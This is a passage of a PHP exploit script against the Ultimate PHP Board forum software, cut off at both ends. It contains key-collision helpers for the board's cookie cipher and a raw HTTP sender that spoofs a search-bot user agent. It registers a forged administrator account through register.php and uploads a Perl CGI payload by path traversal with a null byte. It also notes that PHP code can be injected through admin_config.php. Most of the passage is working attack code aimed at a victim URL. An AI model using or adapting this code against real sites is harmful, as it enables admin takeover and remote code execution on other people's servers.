";
$i_key = ord(substr($key, $i, 1));
// print $i."ikey:".$i_key."
";
$i_text = ord(substr($text, $i, 1));
// print $i."itext:".$i_text."
";
$n_key = ord(substr($key, $i+1, 1));
// print $i."nkey:".$n_key."
";
$i_crypt = $i_text + $i_key;
// print $i."T+K_crypt:".$i_crypt ."
";
$i_crypt = $i_crypt - $n_key;
// print $i."I-N_crypt:".$i_crypt."
";
$crypt .= chr($i_crypt);
$offset0=$i_crypt-$i_text;
// print "key=$i_key - $n_key
";
// print "offset0:$offset0=$i_crypt-$i_text
";
$offset=$i_key-$n_key;
//print "offset:$offset
";
// $broken=$i_text+$offset;
// print "broken:".$broken;
}
return $crypt;
}
function gen_collision($offset, $start){//$start should be a number of an ascii char
$offset_len=strlen($offset);
$x=0;
// print "len:".$offset_len."
";
// for($x=0;$x<$offset_len;$x++){//$offset as $off_int){
foreach($offset as $off_char){
if($x==0){
$newkey.=chr($start);
$nextchar=$start;
$x++;
}
// print "next char: $nextchar "."offset:".$off_char."
";
$tmp=$nextchar - $off_char;
$newkey.=chr($tmp);
$nextchar=$tmp;
}
return $newkey;
}
function gen_offset($crypt,$text){
$text_len=strlen($text);
for($x=0;$x<$text_len;$x++){
// print "crypt:".substr($crypt, $x, 1).'text:'.substr($text, $x, 1).'
';
$cry_hex=ord(substr($crypt, $x, 1));
$txt_hex=ord(substr($text, $x, 1));
$offset[$x]=$cry_hex - $txt_hex;
//print "offset".$offset."crypt".$cry_hex."text".$txt_hex[x]."
";
}
return $offset;//numeric array
}
function http_gpc_send( $method, $host, $port ,$usepath,$cookie="", $postdata = "") {
$fp = pfsockopen( $host, $port, &$errno, &$errstr, 120 );
# user-agent name
$ua = "msnbot/1.0 (+http://search.msn.com/msnbot.htm)";
if( !$fp ) {
print "$errstr ($errno)
\nn";
} else {
if( $method == "GET" ) {
fputs( $fp, "GET $usepath HTTP/1.0\n" );
}
else if( $method == "POST" ) {
fputs( $fp, "POST $usepath HTTP/1.0\n" );
}
fputs( $fp, "User-Agent: ".$ua."\n" );
fputs($fp, "Host: ".$host."\n");
fputs( $fp, "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n" );
fputs( $fp, "Accept-Language: en-us,en;q=0.5\n" );
fputs( $fp, "Accept-Encoding: gzip,deflate\n" );
fputs( $fp, "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" );
fputs( $fp, "Cookie: ".$cookie."\n" );
if( $method == "POST" ) {
$strlength = strlen( $postdata );
fputs( $fp, "Content-type: application/x-www-form-urlencoded\n" );
fputs( $fp, "Content-length: ".$strlength."\n\n" );
fputs( $fp, $postdata."\n\n");
}
fputs( $fp, "\n\n" );
$output = "";
while( !feof( $fp ) ) {
$output .= fgets( $fp, 1024 );
}
fclose( $fp );
}
return $output;
}
function getAdmin($victHost, $victPort, $victPath, $exp_user_env,$exp_pass_env,$exp_id_env){
$exp_power_env="3";//admin
$InjectUserPost="u_login=te".rand()."1&u_email=rew".rand()."@wfje.com&u_loca=&u_site=&avatar=images%2Favatars%2Fnoavatar.gif&u_icq=&u_aim=&u_msn=&u_sig=s%3C%7E%3E0%3C%7E%3E2006-04-20%5BNR%5D".$exp_user_env."%3C%7E%3E".$exp_pass_env."%3C%7E%3E".$exp_power_env."%3C%7E%3EA%40a.com%3C%7E%3E%3C%7E%3E%3C%7E%3E%3C%7E%3E1%3C%7E%3E%3C%7E%3E%3C%7E%3E%3C%7E%3E%3C%7E%3E13%3C%7E%3E%3C%7E%3E1%3C%7E%3E".$exp_id_env."&submit=Submit";
http_gpc_send("POST", $victHost, $victPort, $victPath."/register.php", "", $InjectUserPost);
}
if(isset($_REQUEST['vict'])){
$payName="data".rand().".cgi";//must be .cgi
$expPost="u_name=Admin&subject=hey&icon=#!/usr/bin/perl -wT \"&message=$perlPayload&id=/../images/$payName%00";
$exp_user_env="Jockie227";
$exp_pass_env="tZbi}";
$exp_power_env="3";
$exp_id_env=4000000000+rand(0,300000000);
//The script is injecting user into the database; becase of this the cookie is known before the script even contacts the vulnerable "Ultamate PHP Boar". Also note that a time stamp is not needed.
$cookie="user_env=$exp_user_env; pass_env=$exp_pass_env; power_env=$exp_power_env; id_env=$exp_id_env";
$url_parsed = parse_url($_REQUEST['vict']);
if ( empty($url_parsed['scheme']) ) {
$url_parsed = parse_url('http://'.$url);
}
$rtn['url'] = $url_parsed;
$victPort = $url_parsed["port"];
if ( !$port ) {
$victPort = 80;
}
$victPath = $url_parsed["path"];
$victHost = $url_parsed["host"];
print "
PHP code injection is possilbe in the admin panel without an exploit. Both admin_config.php and admin_config2.php can be used to execute PHP by tagging on: ' \";phpinfo(); \$crap=\"1 ' to any of the config values ( double quotes \" are only used in exploit)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Gain Read Access To The Database